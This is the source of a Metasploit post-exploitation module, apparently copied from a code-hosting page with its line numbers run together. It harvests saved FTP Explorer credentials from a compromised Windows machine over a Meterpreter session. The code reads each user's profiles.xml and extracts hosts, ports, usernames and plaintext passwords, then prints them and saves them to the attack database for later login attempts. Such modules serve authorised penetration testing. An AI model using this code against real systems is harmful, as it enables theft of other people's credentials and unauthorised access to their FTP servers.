Path: blob/master/modules/post/windows/gather/credentials/ftpx.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rexml/document'67class MetasploitModule < Msf::Post8include Msf::Post::Windows::UserProfiles910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather FTP Explorer (FTPX) Credential Extraction',15'Description' => %q{16This module finds saved login credentials for the FTP Explorer (FTPx)17FTP client for Windows.18},19'License' => MSF_LICENSE,20'Author' => [ 'bcoles' ],21'Platform' => [ 'win' ],22'SessionTypes' => [ 'meterpreter' ],23'Notes' => {24'Stability' => [CRASH_SAFE],25'SideEffects' => [],26'Reliability' => []27},28'Compat' => {29'Meterpreter' => {30'Commands' => %w[31core_channel_eof32core_channel_open33core_channel_read34core_channel_write35]36}37}38)39)40end4142def run43grab_user_profiles.each do |user|44next if user['AppData'].nil?4546xml = get_xml(user['AppData'] + '\\FTP Explorer\\profiles.xml')47unless xml.nil?48parse_xml(xml)49end50end51end5253def get_xml(path)54connections = client.fs.file.new(path, 'r')5556condata = ''57condata << connections.read until connections.eof58return condata59rescue Rex::Post::Meterpreter::RequestError => e60print_error "Error when reading #{path} (#{e.message})"61return nil62end6364# Extracts the saved connection data from the XML.65# Reports the credentials back to the database.66def parse_xml(data)67mxml = REXML::Document.new(data).root68mxml.elements.to_a('//FTPx10//Profiles//').each.each do |node|69next if node.elements['Host'].nil?70next if node.elements['Login'].nil?71next if node.elements['Password'].nil?7273host = node.elements['Host'].text74port = node.elements['Port'].text75user = node.elements['Login'].text76pass = node.elements['Password'].text7778# skip blank passwords79next if !pass || pass.empty?8081# show results to the user82print_good("#{session.sock.peerhost}:#{port} (#{host}) - '#{user}:#{pass}'")8384# save results to the db85service_data = {86address: Rex::Socket.getaddress(host),87port: port,88protocol: 'tcp',89service_name: 'ftp',90workspace_id: myworkspace_id91}9293credential_data = {94origin_type: :session,95session_id: session_db_id,96post_reference_name: refname,97username: user,98private_data: pass,99private_type: :password100}101102credential_core = create_credential(credential_data.merge(service_data))103104login_data = {105core: credential_core,106access_level: 'User',107status: Metasploit::Model::Login::Status::UNTRIED108}109110create_credential_login(login_data.merge(service_data))111end112end113end114115116